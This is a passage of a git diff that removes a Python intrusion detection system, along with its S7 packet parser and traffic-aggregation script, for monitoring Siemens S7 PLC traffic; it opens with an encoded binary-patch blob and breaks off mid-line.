zhE+lr0Ot)xlP>Z6>j+swYz*(&Uns^J&r3 z-Py6A;9~f8tq+&>Rw9)YEs1)TjiesxJNuHI61AA9O1OzsMm)rF(Y1uozlXissz^#Cs zdgBGxlg{nyEzv|Q43H;NgW>GW$J{fGaU$6mU{TfgSpSZMVgS-XJfx&pE4QW3t1rE7mrNuCdv^jgBfzsK6J zDDaWbuM_&`Vlfu#EjeBk$oxN3ma0J{5`hr;9&g^dq#7xc1IXkWDV|=Xzh|eV;!N!7 zlG{)J>#we6&|7U!Ym$=i>T*ATS1KPoc(vEOCG||CsTA8E4?PPfXyER2N$I8)EHwgu{BPRm zVY#{fpe0fW?hMZAwjV#dHf94!ByR{;I2k3Xc%EMyxaHRD%OD#* zQR^1rI3HU;KvjiG;y-oV_-k=sei>Kv>@}GDxot-j$SuBJ(VCPG1AmDE7)y7bhaEV1 zuEw*vrbdXLKMZUqTrOppf^|^w!bD42t;NMm)49DyUYZGV*%Ii~xH_K#7p2mvC=7RqS&ONi0EaFJmkltWH{ zT*x5g%wk>m$6$7zs*#;}xOk(=9jg*o7$cW~ja5*%7=g?wgs~H$3_`zEOsw8|vOh=- zmwf}Vl)UM-zCgm*0y!dvf6t!dVn8)&Y7F^8pb_j}G~6Y&fc7^9Vjzs>q(_=lptbS2 z(lzDk)vH-u#5aibAo;s>d(njo8C`HpmK|D&gV?@=!|AYs0&ZhRO6E#=0>kFJhi4&8 z{V~%@+lHNkBS|(auME;_<8Q|0@=h2UMy^p4!qARlgu}C3Gx8$iMq$7BwK2g7%!H2;yaE%e0HU-9JB~a z>hDKEbkg7vxXBmkOwpwr^nGy`O3(1JIsCP1`b!kV51W(ponSZHcHnE2%V0P#U}~68 zaO5a7Hc8t^m*i%k(ZC83ftIhVLXIZN27oMD*0`Qe3JeTvwriBZQ-Yia&8r~zOiNwv zFAWY3#u&kdQrWFGCi22G^z`FUe*!=5nA>I<=Zj$ZIP8H@4OTAsJ=bFN>dTievq@ec zXB8}dJPHzcF@;MCql&-S#I=n z>?7!T@ZYT5A`fGd4xq|gi)(59xW?Os+InPXIv{CF!IdVsFD}j$M0`h;4i}Rq$eLy5 zBZ-78RFiT@4ak}jLBYW$0qWony?9bb3sil>Ru@l|kHAVgJaEm)$Pnk4BrMITC254^ z{rHmbpcM?<7b#P3PRacl6gp2CxswzYetehc=t?&aJg9K`afng?`!L9vq7>7!!Ftnz zxhmU?#d2Q97%LdrXg{KV)k~bj3egnraI2*KfCZLjK7Db`K*2Q@5Hz^O^ z8E2dN^v91ruBB%OK2AeT&-Ltq18*q;4}E>}Q^R&i4OIhX)eoQZh))7)daBIA3|k4R z)EeI&5}PAHk5McXHLg^hZF?YCzeG zvN1qeH!Y^)a*vjP8;HP72=e#?@d~Lg$io7F+6eXdsT0tl1V&NU!#T`pVw5*m_I^ z@`-(C##USe4-b#!Lg0G^0s~mg6jA$0XrhWl-BSPJZ0nqdkHWG6ebH#Ld=<@Ym)ISW zlG^^kp`lO1v7L7VgKIJQl|E#L>H}v&nHl1c8_4QrhE=ilB3#DmEuaOrCTh1gq!>}C zZEe>aEjmYG#_NuKUkQGavxuOeH71Wfp7NYSN4>+vK{^*p@dqB-1J!5Kh?vrcw}yf< z4{^*Pj#NHqzh%YwGdZJV0wT=0jer_|FIumLi11!ez->KzXnEM3_RXG;Vi&fX`s-W?~Z)4*TFdQ!c;EwsghS%6pBR8Lz zbKWcRBQkRc7CjJZcYf}Ui_G^#6sw$uYUNWbC zg#6Jq75>oEIE|WOT~Bia##E4LIpYG@1fP_GE?${nVrqJxZ~qIp&q7n>G6r2?o}YsK zM)86p$vkH$-4TU*ZQbXN8RnBT+j-T28*Y>_+mfe@$ye#RGUnLx$EkZMff5{)dB*t` zE=d1zcra&G3C+1_Q+&Kt75)^ZJ-r`P6rwzA-$B@AhuRS$7nAJN36j$8KOeHK4}t`s z&iLNGEvTK`fslo*&%ws_!sQ&6i}G3^3zd z0wQKrhXtiL7O6QZ-i(C1IrK^N6LiE=l-?H>B5*jyE?7huEqu|2^@?;UA7EM_f>%T5gkKz$-i+~N9 zgKR}yu^LLaSpAZH$CnBZ)N(36xNqoMR*C9IJl+YqXJHy95Iw-G7^a)4LMRJZ`n)I+ zeH2QuR2)1kiHIVo{z`rY3-&8qh$|~Aw~Q*a9|NBPH*O>)6-f4K?jiW#Wu>U_WMUYH zmMM;|#`Eyu?XxXdXi6u4nyo7x>2w?Sm>cAo&wTFl{?OwIRo8G zVAi5QI)^n{wO14>Ad>-A&~|RmwEDbouLfxp7V)!PlZx|odo3LlDi&tC02=oQI%N5x zw6qk_=R6S`C^G4m2;DcF%n?~P4vXn^Aj{C5V)%Vs*T=ag4oz+RU9(^QcJ9u)8?-uD zm?z2nUX^SGsdy8F8-+)@f^tM0oOZ^>(X1!h#y>fAC8@_(n@4$=v8XVvkmz5%dUYdJ zb2_6D7>yM2%FLz_xQ|BIj%>!-!Cd`l&Ol{m+~XPO1Z@bWlkb())Zj@mh*pI}3bzX) z)6ew0%Yp#1_yjGOc$a~2n(9E-hY#~WzNS}TUc-5M6&Mhzb(8saRA5!_wPhL30dMD- z&dXj*Rh1d>cNxR@E-G)ZX7l#aoeJ0s=1jB;!L_}_3d-zwqN?)pkM1N=y}Fw0MtD&y zY`-^vBV(%e5R(IX1@`Aj>&t3tz#T>m$ay7V)h&i9kwsHt_)Jg`&JIIly|j#*A;j4N zW`}pyTs#hFM@aR-&{Pz<+?Zr~CObFD5Z_m+C(%$F0cA|qV|OG_`KFoAIVyv-@A z_tinOS$ykXjRox+4<1I%x#XnOM0LDeH_7!ai)_(@vjE7YVPO$oAL_$WbAO7q1X8 zOIIH^7>aql5?_MoVLA148Es!l1AF4-t*zr%~<_c&@PoSr-r zWzD5%jqWxWn@uC>hH3x-9*0esF+Ga>B~ERKp?z_Hbj7m}D0C`!p}QL<>1qFN223lQ z{=91_x~QrT#Op*DVFv(HEf5YmC7l;g*Zp|~-UCI|W^SIip-nf!>VD>h;m{1&AUkF* zURZCD0wEGyY&uExcsm{*o+{eKLi^{(5INe4>#F*_B?=Ls~>mlo)*#glO@iu02_i!Sj>7YI4 zVbCaRKmP@Ymmr%*zSHC@6|3TvhT`1M+>~EPC zE&Xt-fWVh(>G3JS*`%VP!;>spCMHkJH+I`2SEf`Qs7cg1%CW0IsP*VG9)Dc_9HeLS zcTqGeRyYq*Ns`D}tEkAVBx`vay`-': - i = i+1 - continue - elif line.rstrip() == '': - continue - if i == 1: - levels.append(line.rstrip()) - elif i == 2: - IPs.append(line.rstrip()) - elif i == 3: - times.append(line.rstrip()) - - for entry in levels: - code = entry.rsplit(':')[0] - vals = entry.rsplit(':')[1] - self.packet_details[code].parse_vals(vals) - for entry in IPs: - code = entry.rsplit(':')[0] - IP_part = entry.rsplit(':')[1] - self.packet_details[code].parse_IPs(IP_part) - for entry in times: - code = entry.rsplit(':')[0] - time_part = entry.rsplit(':')[1] - self.packet_details[code].parse_times(time_part) - #if len(times) == 0: - # print "NONE" - #else: - # for entry in times: - # print entry - - def packet_type_info(self, function_code_name): - return self.packet_details[function_code_name] diff --git a/IDS/S7Packet.py b/IDS/S7Packet.py deleted file mode 100644 index 8ad9fbb..0000000 --- a/IDS/S7Packet.py +++ /dev/null @@ -1,142 +0,0 @@ -""" -File: S7Packet.py -Class to represent an S7 packet. Parses S7 (0x32 protocol version) packets and stores their information. -This parses S7 packets with ROSCTR codes 1, 2, 3 and 7, and function codes 4, 5, 0xf0, 0x1d, 0x1e and 0x1f. -""" -__author__ = 'William Jardine' - -from struct import * -import time - -class S7Packet: - """ - Class representing and parsing all S7 packet information - """ - def __init__(self, packet=''): - self.s7_packet = packet - - def check_magic(self): - return self.s7_packet[0] - - def parse(self): - ctr = 0 - self.ROSCTR_val = ord(self.s7_packet[1]) - # ROSCTR value can be 1, 2, 3, 7 or 8 (8 is not currently supported by this program) - if self.ROSCTR_val == 1 or self.ROSCTR_val == 7: # Job / Userdata - self.s7_header_bytes = self.s7_packet[0:10] - ctr = ctr + 10 - self.s7_header = unpack('!BBHHHH', self.s7_header_bytes) - elif self.ROSCTR_val == 2 or self.ROSCTR_val == 3: # Ack / Ack_data - self.s7_header_bytes = self.s7_packet[0:12] # as ROSCTR==2 and ==3 have 2 error bytes - ctr = ctr + 12 - self.s7_header = unpack('!BBHHHHH', self.s7_header_bytes) - self.s7_header_bytes = self.s7_packet[0:12] # as ROSCTR==2 and ==3 have 2 error bytes - - if self.s7_header[4] > 0: # only do this if we have some parameters! - self.s7_param_bytes = self.s7_packet[ctr:ctr+self.s7_header[4]] # reads in param_length worth of bytes - ctr = ctr + self.s7_header[4] - if self.ROSCTR_val == 1 or self.ROSCTR_val == 2 or self.ROSCTR_val == 3: - self.function_code = int(self.s7_param_bytes[0].encode("hex"),16) - if self.s7_header[4] > 1: # if there's more here than just the function code (i.e. not a End Upload Ack_Data packet) - self.item_count = int(self.s7_param_bytes[1].encode("hex"),16) - self.param_size = int(self.s7_header[4])-2 - if self.s7_header[5] > 0: - self.s7_PDU_bytes = self.s7_packet[ctr:ctr+self.s7_header[5]] - ctr = ctr + self.s7_header[5] - - if hasattr(self,'item_count') and self.item_count > 0: - self.item_size = int(self.param_size/self.item_count) - if self.s7_header[4] > 2: # s7_header[4] is param_length and [5] is data_length - if self.ROSCTR_val == 7: # Userdata packets have extended parameter sections and different PDUs - self.param_type = int(ord(self.s7_param_bytes[5])) >> 4 # Get the first 4 bits of this number - if self.param_type == 4: # Request type - size_left = int(ord(self.s7_param_bytes[3])) - 4 - fmt_string = '!3sBBBBB' - if size_left > 0: - fmt_string = '!3sBBBBB{}s'.format(size_left) - self.param_details = unpack(fmt_string, self.s7_param_bytes) - else: # else == 8: Response type - self.param_details = unpack('!3sBBBBBBBH', self.s7_param_bytes) - self.param_head = self.param_details[0] - self.sqn_number = self.param_details[5] - self.item_count = 1 - elif self.ROSCTR_val == 1 or self.ROSCTR_val == 2 or self.ROSCTR_val == 3: - current = 2 - self.items = [] - for i in range(0, self.item_count): - self.items.append(unpack('!BBBBHHB3s', self.s7_param_bytes[current:current+self.item_size])) # 3s denotes a single 3-byte string - current = current + self.item_size - elif self.s7_header[5] > 1: # if data_length > 1 - self.item_header = [] - self.item_contents = [] - current = 0 - - if self.function_code != 29 and self.function_code != 30 and self.function_code != 31: # upload functions don't have data items - for i in range(0, self.item_count): - self.item_header.append(unpack('!BBH', self.s7_PDU_bytes[current:current+4])) - current = current + 4 # add on length of header - if self.item_header[i][2] == 32: # for some reason data length 4 is coded as 0x32... - lst = list(self.item_header[i]) - lst[2] = 4 - self.item_header[i] = tuple(lst) - - item_length = self.item_header[i][2] - # if item data length == 1 and item count == 1, data length will be 8, but means 1... - if self.s7_header[5] == 5 and self.item_count == 1: - item_length = 1 - item_data_fmt_string = '!{}s'.format(item_length) - self.item_contents.append(unpack(item_data_fmt_string, self.s7_PDU_bytes[current:current+item_length])) - current = current + item_length # add on length of data - if item_length == 1: - current = current + 1 # skip fill byte - if self.s7_header[5] == 0: # if data_length == 0 -- i.e. we want to look at the item addresses - # upload functions don't have data items and Ack packets are just headers - if self.ROSCTR_val != 2 and (self.function_code != 29 and self.function_code != 30 and self.function_code != 31): - self.item_address = [] - for i in range(0, self.item_count): - self.item_address.append(int(self.items[i][7].encode("hex"),16)) - - def print_details(self): - # print all packet info - print - print("Length of S7 packet: {}".format(len(self.s7_packet))) - print - print("s7 header : {}".format(self.s7_header_bytes.encode("hex"))) # print hex of s7_header_bytes - print(" magic number : {}".format(hex(self.s7_header[0]))) - if self.ROSCTR_val == 1 or self.ROSCTR_val == 3: - if self.function_code == 4: - print(" function code : 4 (Read Var)") - elif self.function_code == 5: - print(" function code : 5 (Write Var)") - elif self.function_code == 240: # 240 for some reason... - print(" function code : 0xf0 (Setup Communication)") - elif self.function_code == 29: - print(" function code : 0x1d (Start Upload)") - elif self.function_code == 30: - print(" function code : 0x1e (Upload)") - elif self.function_code == 31: - print(" function code : 0x1f (End Upload)") - if self.ROSCTR_val == 1: - print(" packet type : Request (Job)") - elif self.ROSCTR_val == 2: - print(" packet type : Ack") - elif self.ROSCTR_val == 3: - print(" packet type : Response (ACK_Data)") - elif self.ROSCTR_val == 7: - print(" packet type : Userdata") - if self.s7_header[4] > 0: # only do this if we have some parameters! - print("s7 parameter area : {}".format(self.s7_param_bytes.encode("hex"))) - if self.ROSCTR_val == 1 or self.ROSCTR_val == 2 or self.ROSCTR_val == 3: - if hasattr(self,'items'): - for index, item in enumerate(self.items): - print(" item {} address : {}".format(index+1, item[7].encode("hex"))) - elif self.ROSCTR_val == 7: - print(" Parameter head : {}".format(self.param_head.encode("hex"))) - print(" Sequence number : {}".format(self.sqn_number)) - if self.s7_header[5] > 0: - print("s7 PDU : {}".format(self.s7_PDU_bytes.encode("hex"))) - if hasattr(self,'item_contents'): - for index, item in enumerate(self.item_contents): - print(" item {} data : {}".format(index+1, item[0].encode("hex"))) - else: - print("s7 PDU : None") diff --git a/IDS/aggregate_traffic.py b/IDS/aggregate_traffic.py deleted file mode 100644 index 41d674f..0000000 --- a/IDS/aggregate_traffic.py +++ /dev/null @@ -1,173 +0,0 @@ -""" -File: aggregate_traffic.py -Iterates over a given traffic capture (pcap file) and sorts info by function code, quantity, time, IPs, etc. -This outputs lots of ordered information which can be used to craft the IDS_CONFIG file. -""" -__author__ = 'William Jardine' - -from datetime import datetime -from collections import OrderedDict -import dpkt, socket, struct, sys, S7Packet -from time import sleep - -""" -main functionality -""" - -if(len(sys.argv)>1): - f = open(sys.argv[1], 'r') -else: - print("Please enter the .pcap file to parse!") - sys.exit(0) -pcap = dpkt.pcap.Reader(f) - -""" -pcap = pcap.pcap() -capture_interface = 'eth0' -pcap = pcap.pcap(name=capture_interface) -""" - -PLC_ADDRESS = '192.168.2.101' - -f_out = open('config_file_information.txt', 'w') - -f_out.write('TITLE: config_file_information\n\n') - -f_out.write("ATTRIBUTE: functionCode\n") -f_out.write("ATTRIBUTE: packetsPerThirtySecsOfThisType\n") -f_out.write("ATTRIBUTE: 5MinuteTimeInterval\n") -f_out.write("ATTRIBUTE: srcIP\n") -f_out.write("ATTRIBUTE: dstIP\n\n") - -ctr = 1 -# count_by_func_code dict in format: Function Code, [list_of_values, list_of_src_IPs, list_of_dst_IPs, list_of_timestamps] -count_by_func_code = OrderedDict((('Read', [[], [], [], []]), ('Write', [[], [], [], []]), - ('StartUpload', [[], [], [], []]), ('Upload', [[], [], [], []]), ('EndUpload', [[], [], [], []]))) -other_count = [[], [], [], []] -#exception_ctr = 0 -for timestamp, packet in pcap: - time_dt = datetime.fromtimestamp(timestamp) - time = datetime.fromtimestamp(timestamp).strftime('%M') - int_time = int(time) # converts the timestamp to an int representation of hours and minutes - if not 'last_packet' in locals(): # if this is the 1st iteration - last_packet = time_dt - #print("packet {} : {}".format(ctr, time)) - ctr = ctr + 1 - - eth = dpkt.ethernet.Ethernet(packet) - packet = eth.pack() - ip = eth.data - ipSrc = "" - ipDst = "" - #print "packet {} length is {}".format(ctr, len(packet)) - try: - if hasattr(ip,'dst') and len(ip.dst) > 0: - ipDst = socket.inet_ntoa(ip.dst) # convert to human-readable IP addresses - ipSrc = socket.inet_ntoa(ip.src) - #print("sent from {} to {}".format(ipSrc, ipDst)) - except: - #print "ruh roh --> packet: {}".format(ctr) - #exception_ctr += 1 - # couldn't parse this packet - continue - - if len(eth) > 62 and packet[61] == '2': # if the magic number is what it should be for an s7 packet - if ipSrc == PLC_ADDRESS or ipDst == PLC_ADDRESS: # ignores traffic from PLCs we're not monitoring - try: - s7p = S7Packet.S7Packet(packet[61:]) # s7 packet from 61st byte to the end - s7p.parse() - #s7p.print_details() - except: - continue - - if hasattr(s7p,'function_code'): - function = '' - if s7p.function_code == 4: - function = 'Read' - elif s7p.function_code == 5: - function = 'Write' - elif s7p.function_code == 29: - function = 'StartUpload' - elif s7p.function_code == 30: - function = 'Upload' - elif s7p.function_code == 31: - function = 'EndUpload' - else: - function = 'NotSupported' - - if function != 'NotSupported': - if len(count_by_func_code[function][1]) == 0: # if the lists are empty - count_by_func_code[function] = ([1], [ipSrc], [ipDst], [int_time]) - - no_entry = True - for i in range(len(count_by_func_code[function][0])): # find the entry for this function/IP mapping, if one exists - if (count_by_func_code[function][1][i] == ipSrc and count_by_func_code[function][2][i] == ipDst) or \ - (count_by_func_code[function][1][i] == ipDst and count_by_func_code[function][2][i] == ipSrc): - for j in range(len(count_by_func_code[function][0])): # update the entry for this function/IP mapping - if j == i: - no_entry = False - count_by_func_code[function][0][j] = count_by_func_code[function][0][j] + 1 - count_by_func_code[function][3][j] = int_time - if no_entry: # if we've found no entry for this function/IP mapping - count_by_func_code[function][0].append(1) - count_by_func_code[function][1].append(ipSrc) - count_by_func_code[function][2].append(ipDst) - count_by_func_code[function][3].append(int_time) - count_by_func_code[function] = (count_by_func_code[function][0], count_by_func_code[function][1], - count_by_func_code[function][2], count_by_func_code[function][3]) - else: - if ipSrc == PLC_ADDRESS or ipDst == PLC_ADDRESS: # ignores traffic from PLCs we're not monitoring - # other packets - if len(other_count[1]) == 0: # if the lists are empty - other_count = ([1], [ipSrc], [ipDst], [int_time]) - - no_entry = True - for i in range(len(other_count[0])): # find the entry for this function/IP mapping, if one exists - if (other_count[1][i] == ipSrc and other_count[2][i] == ipDst) or \ - (other_count[1][i] == ipDst and other_count[2][i] == ipSrc): - for j in range(len(other_count[0])): # update the entry for this function/IP mapping - if j == i: - no_entry = False - other_count[0][j] = other_count[0][j] + 1 - other_count[3][j] = int_time - if no_entry: # if we've found no entry for this function/IP mapping - other_count[0].append(1) - other_count[1].append(ipSrc) - other_count[2].append(ipDst) - other_count[3].append(int_time) - other_count = (other_count[0], other_count[1], other_count[2], other_count[3]) - - difference = time_dt - last_packet - seconds_difference = (difference).total_seconds() - if seconds_difference >= 30: - #print count_by_func_code - for key,value_list in count_by_func_code.items(): - values = value_list[0] - for i in range(len(values)): - value = values[i] - time_interval = int(5 * round(float(int(value_list[3][i]) % 60)/5)) - if len(value_list[1]) > 0: - output_string = "{},{},{},{},{}\n".format(key, value, time_interval, value_list[1][i], value_list[2][i]) - else: - output_string = "{},{},{}\n".format(key, value, time_interval) - if value != 0: - f_out.write(output_string) - f_out.write('\n') - - for i in range(len(other_count[0])): - value = other_count[0][i] - time_interval = int(5 * round(float(int(other_count[3][i]) % 60)/5)) - if len(other_count[1]) > 0: - output_string = "Other,{},{},{},{}\n".format(value, time_interval, other_count[1][i], other_count[2][i]) - else: - output_string = "Other,{},{}\n".format(value, time_interval) - if value != 0: - f_out.write(output_string) - f_out.write('\n') - - last_packet = time_dt - count_by_func_code = OrderedDict((('Read', [[], [], [], []]), ('Write', [[], [], [], []]), - ('StartUpload', [[], [], [], []]), ('Upload', [[], [], [], []]), ('EndUpload', [[], [], [], []]))) - other_count = [[], [], [], []] -f.close() -f_out.close() diff --git a/IDS/ids.py b/IDS/ids.py deleted file mode 100644 index fe59e82..0000000 --- a/IDS/ids.py +++ /dev/null @@ -1,337 +0,0 @@ -""" -File: ids.py -Script to capture and parse S7 network packets and generate alerts -Also actively polls the PLC for certain variables if active mode is enabled -""" -__author__ = 'William Jardine' - -from datetime import datetime -from collections import OrderedDict -import dpkt, pcap, socket, struct, S7Packet, Config, sys, os -import snap7 - -""" -Read in config details and values from IDS_CONFIG.txt -""" -config = Config.Config_File() -config.parse_config() -PLC_ADDRESS = config.PLC_IP -print "monitoring traffic to and from the PLC at {}".format(PLC_ADDRESS) -rack = 0 -slot = 2 - -read_packet = config.packet_type_info('Read') -write_packet = config.packet_type_info('Write') -start_upload_packet = config.packet_type_info('StartUpload') -upload_packet = config.packet_type_info('Upload') -end_upload_packet = config.packet_type_info('EndUpload') -other_packets = config.packet_type_info('Other') -packet_details = {'Read': read_packet, 'Write': write_packet, 'StartUpload': start_upload_packet, 'Upload': upload_packet, - 'EndUpload': end_upload_packet} -""" -main functionality -""" - -how_many_args = 1 - -""" uncomment the below and comment out the capture_interface bits to check a pcap file instead -if len(sys.argv) > 1: - how_many_args += 1 - f = open(sys.argv[1], 'r') -else: - print("Please enter the .pcap file to parse!") - sys.exit(0) -pc = dpkt.pcap.Reader(f) -""" - -if os.path.isfile('my_logs.txt'): - f_out = open('my_logs.txt', 'a+') -else: - f_out = open('my_logs.txt', 'w+') - -capture_interface_0 = 'eth0' -capture_interface_1 = 'eth1' -pc_0 = pcap.pcap(name=capture_interface_0) -pc_1 = pcap.pcap(name=capture_interface_1) -active = False - -if len(sys.argv) > 1 and sys.argv[1] == "-active": - active = True - print "active mode enabled\n" - client = snap7.client.Client() - client.connect(PLC_ADDRESS, rack, slot) -else: - print "running in passive mode\n" - -ctr = 1 - -# [count], [ipSrc], [ipDst], [time] -count_by_func_code = OrderedDict((('Read', [[], [], [], []]), ('Write', [[], [], [], []]), - ('StartUpload', [[], [], [], []]), ('Upload', [[], [], [], []]), ('EndUpload', [[], [], [], []]))) -other_count = [[], [], [], []] - -passive_possible_alert_count = 0 -active_possible_alert_count = 0 -command = "" -try: - while True: - timestamp = [] - packet = [] - timestamp_0, packet_0 = pc_0.next() - timestamp_1, packet_1 = pc_1.next() - timestamp.append(timestamp_0) - timestamp.append(timestamp_1) - packet.append(packet_0) - packet.append(packet_1) - - for i in range(len(timestamp)): - if ctr > 1: # reopens the file handler after flushing contents to file at the end of the loop - f_out = open('my_logs.txt', 'a+') - - time_dt = datetime.fromtimestamp(timestamp[i]) - time = datetime.fromtimestamp(timestamp[i]).strftime('%d %b %Y %H:%M:%S') - time_mins = datetime.fromtimestamp(timestamp[i]).strftime('%M') - int_time_mins = int(time_mins) - if not 'last_packet' in locals(): # if this is the 1st iteration - last_packet = time_dt - interval_timer = time_dt - #print("packet {} : {}".format(ctr, time)) - - eth = dpkt.ethernet.Ethernet(packet[i]) - pack = eth.pack() - ip = eth.data - ipSrc = "" - ipDst = "" - try: - ipDst = socket.inet_ntoa(ip.dst) # convert to human-readable IP addresses - ipSrc = socket.inet_ntoa(ip.src) - except: - # couldn't parse this packet - continue - - if len(eth) > 62 and pack[61] == '2': # if the magic number is what it should be for an s7 packet - if ipSrc == PLC_ADDRESS or ipDst == PLC_ADDRESS: # ignores traffic from PLCs we're not monitoring - try: - s7p = S7Packet.S7Packet(pack[61:]) # s7 packet from 61st byte to the end - s7p.parse() - #s7p.print_details() - except: - continue - - if hasattr(s7p,'function_code'): - function = '' - if s7p.function_code == 4: - function = 'Read' - elif s7p.function_code == 5: - function = 'Write' - elif s7p.function_code == 29: - function = 'StartUpload' - elif s7p.function_code == 30: - function = 'Upload' - elif s7p.function_code == 31: - function = 'EndUpload' - else: - function = 'NotSupported' - - if function != 'NotSupported': - if len(count_by_func_code[function][1]) == 0: # if the lists are empty - count_by_func_code[function] = ([1], [ipSrc], [ipDst], [int_time_mins]) - - no_entry = True - for i in range(len(count_by_func_code[function][0])): # find the entry for this function/IP mapping, if one exists - if (count_by_func_code[function][1][i] == ipSrc and count_by_func_code[function][2][i] == ipDst) or \ - (count_by_func_code[function][1][i] == ipDst and count_by_func_code[function][2][i] == ipSrc): - for j in range(len(count_by_func_code[function][0])): # update the entry for this function/IP mapping - if j == i: - no_entry = False - count_by_func_code[function][0][j] = count_by_func_code[function][0][j] + 1 - count_by_func_code[function][3][j] = int_time_mins - if no_entry: # if we've found no entry for this function/IP mapping - count_by_func_code[function][0].append(1) - count_by_func_code[function][1].append(ipSrc) - count_by_func_code[function][2].append(ipDst) - count_by_func_code[function][3].append(int_time_mins) - count_by_func_code[function] = (count_by_func_code[function][0], count_by_func_code[function][1], - count_by_func_code[function][2], count_by_func_code[function][3]) - else: - if ipSrc == PLC_ADDRESS or ipDst == PLC_ADDRESS: # ignores traffic from PLCs we're not monitoring - # other packets - if len(other_count[1]) == 0: # if the lists are empty - other_count = ([1], [ipSrc], [ipDst], [int_time_mins]) - - no_entry = True - for i in range(len(other_count[0])): # find the entry for this function/IP mapping, if one exists - if (other_count[1][i] == ipSrc and other_count[2][i] == ipDst) or \ - (other_count[1][i] == ipDst and other_count[2][i] == ipSrc): - for j in range(len(other_count[0])): # update the entry for this function/IP mapping - if j == i: - no_entry = False - other_count[0][j] = other_count[0][j] + 1 - other_count[3][j] = int_time_mins - if no_entry: # if we've found no entry for this function/IP mapping - other_count[0].append(1) - other_count[1].append(ipSrc) - other_count[2].append(ipDst) - other_count[3].append(int_time_mins) - other_count = (other_count[0], other_count[1], other_count[2], other_count[3]) - - difference = time_dt - last_packet - seconds_difference = (difference).total_seconds() - difference_interval = time_dt - interval_timer - ten_sec_interval = (difference_interval).total_seconds() - - if active and ten_sec_interval >= 5: - MW = [] - DB1 = [] - DB2 = [] - for i in range(0,2): - memory_word_input = client.read_area(snap7.types.areas['MK'], 0, 104+i, 1) - MW.append(memory_word_input[0]) - #print("Byte {} of MW: {}".format(i+1, MW[i])) - for i in range(0,2): - datablock_input = client.db_read(1, 2+i, 1) - DB1.append(datablock_input[0]) - #print("Byte {} of DB2: {}".format(i+1, DB2[i])) - for i in range(0,2): - datablock_input = client.db_read(2, 2+i, 1) - DB2.append(datablock_input[0]) - #print("Byte {} of DB4: {}".format(i+1, DB4[i])) - - MW_val = (MW[0] << 16) | MW[1] - DB1_val = (DB1[0] << 16) | DB1[1] - DB2_val = (DB2[0] << 16) | DB2[1] - - active_possible_alert_count += 1 - - if abs(MW_val - DB1_val) > 50 or abs(DB1_val - DB2_val) > 5: - output_string = "{}: [Critical Alert] Value tampering detected, src: {}, dst: {}\n".format(time, ipSrc, ipDst) - print(output_string + "\n") - f_out.write(output_string + "\n") - interval_timer = time_dt - - if seconds_difference >= 30: - for key,value_list in count_by_func_code.items(): - for i in range(len(value_list[0])): - passive_possible_alert_count += 1 - - unexpected_IP = False - unexpected_time = False - logic_indicator = False - unauthorised_writes = False - - classification = "" - alert_level = "None" - suspicion = "Not" - - value = value_list[0][i] - actual_time = int(value_list[3][i]) - if actual_time != -1 and actual_time != 61: - time_interval = int(5 * round(float(actual_time % 60)/5)) - srcIP = count_by_func_code[key][1][i] - dstIP = count_by_func_code[key][2][i] - - # heuristic comparison of expected level, expected IPs and expected time interval for each function code - if value <= packet_details[key].min: - classification = "Low" - if value == 0: - alert_level = "None" - if (srcIP not in packet_details[key].list_of_IPs) or (dstIP not in packet_details[key].list_of_IPs): - unexpected_IP = True - alert_level = "Medium" # low number of packets, but from an unexpected IP - elif value > packet_details[key].max: - classification = "High" - if (packet_details[key].list_of_times[0] != 61 and value > 0 and (time_interval not in packet_details[key].list_of_times)) \ - and (srcIP != "SRC_IP" and ((srcIP not in packet_details[key].list_of_IPs) or (dstIP not in packet_details[key].list_of_IPs))): - unexpected_time = True - unexpected_IP = True - alert_level = "High" # high number of packets at an unexpected time AND from an unexpected IP - elif (packet_details[key].list_of_times[0] != 61 and value > 0 and (time_interval not in packet_details[key].list_of_times)): - unexpected_time = True - alert_level = "Medium" # high number of packets at an unexpected time - elif (srcIP not in packet_details[key].list_of_IPs) or (dstIP not in packet_details[key].list_of_IPs): - unexpected_IP = True - alert_level = "Medium" # high number of packets from an unexpected IP - elif packet_details[key].list_of_times[0] != 61 or time_interval not in packet_details[key].list_of_times: - alert_level = "None" # high number of packets, but expected at this time, and from an expected IP - else: - classification = "Normal" - if value > 0 and ((srcIP not in packet_details[key].list_of_IPs) or (dstIP not in packet_details[key].list_of_IPs)): - unexpected_IP = True - alert_level = "Medium" # normal number of packets, but from an unexpected IP - - if key == "StartUpload" or key == "Upload" or key == "EndUpload": - logic_indicator = True - if alert_level == "None" and classification != "Low": # logic upload - flagged as a low alert every time it occurs - alert_level = "Low" - if unexpected_IP and alert_level != "High" and alert_level != "Critical": - alert_level = "Medium" - elif unexpected_IP and key == "Write": - unauthorised_writes = True - - if srcIP == PLC_ADDRESS: - actual_source = dstIP - elif dstIP == PLC_ADDRESS: - actual_source = srcIP - - output_string = "{}: [{} Alert] {} Quantity - {} x {} packets, src: {}, dst: {}, time interval: {}\n".format(time, alert_level, classification, value, key, srcIP, dstIP, time_interval) - if unexpected_IP: - output_string += "--> Suspicious IP: {}\n".format(actual_source) - if unexpected_time: - output_string += "--> Unusual time for this activity\n" - if unauthorised_writes: - output_string += "--> Unauthorised Write packets\n" - if logic_indicator: - output_string += "--> Logic code upload indicator\n" - - if alert_level == "Low" or alert_level == "Medium" or alert_level == "High" or alert_level == "Critical": - print(output_string + "\n") - f_out.write(output_string + "\n") - - for i in range(len(other_count[0])): # checks non-S7 traffic - unexpected_IP = False - DoS_attack = False - alert_level = "None" - actual_source = "" - - passive_possible_alert_count += 1 - - value = other_count[0][i] - actual_time = int(other_count[3][i]) - if actual_time != -1 and actual_time != 61: - time_interval = int(5 * round(float(actual_time % 60)/5)) - srcIP = other_count[1][i] - dstIP = other_count[2][i] - - if (srcIP not in other_packets.list_of_IPs) or (dstIP not in other_packets.list_of_IPs): - alert_level = "Medium" - unexpected_IP = True - if value > other_packets.max: - alert_level = "High" - DoS_attack = True - - if srcIP == PLC_ADDRESS: - actual_source = dstIP - elif dstIP == PLC_ADDRESS: - actual_source = srcIP - - output_string = "{}: [{} Alert] {} x non-S7 packets, src: {}, dst: {}, time interval: {}\n".format(time, alert_level, value, srcIP, dstIP, time_interval) - if unexpected_IP: - output_string += "--> Suspicious IP: {}\n".format(actual_source) - if DoS_attack: - output_string += "--> Suspected DoS attack\n" - - if alert_level == "Medium" or alert_level == "High" or alert_level == "Critical": # alert_level == "Low" or - print(output_string + "\n") - f_out.write(output_string + "\n") - - last_packet = time_dt - count_by_func_code = OrderedDict((('Read', [[], [], [], []]), ('Write', [[], [], [], []]), - ('StartUpload', [[], [], [], []]), ('Upload', [[], [], [], []]), ('EndUpload', [[], [], [], 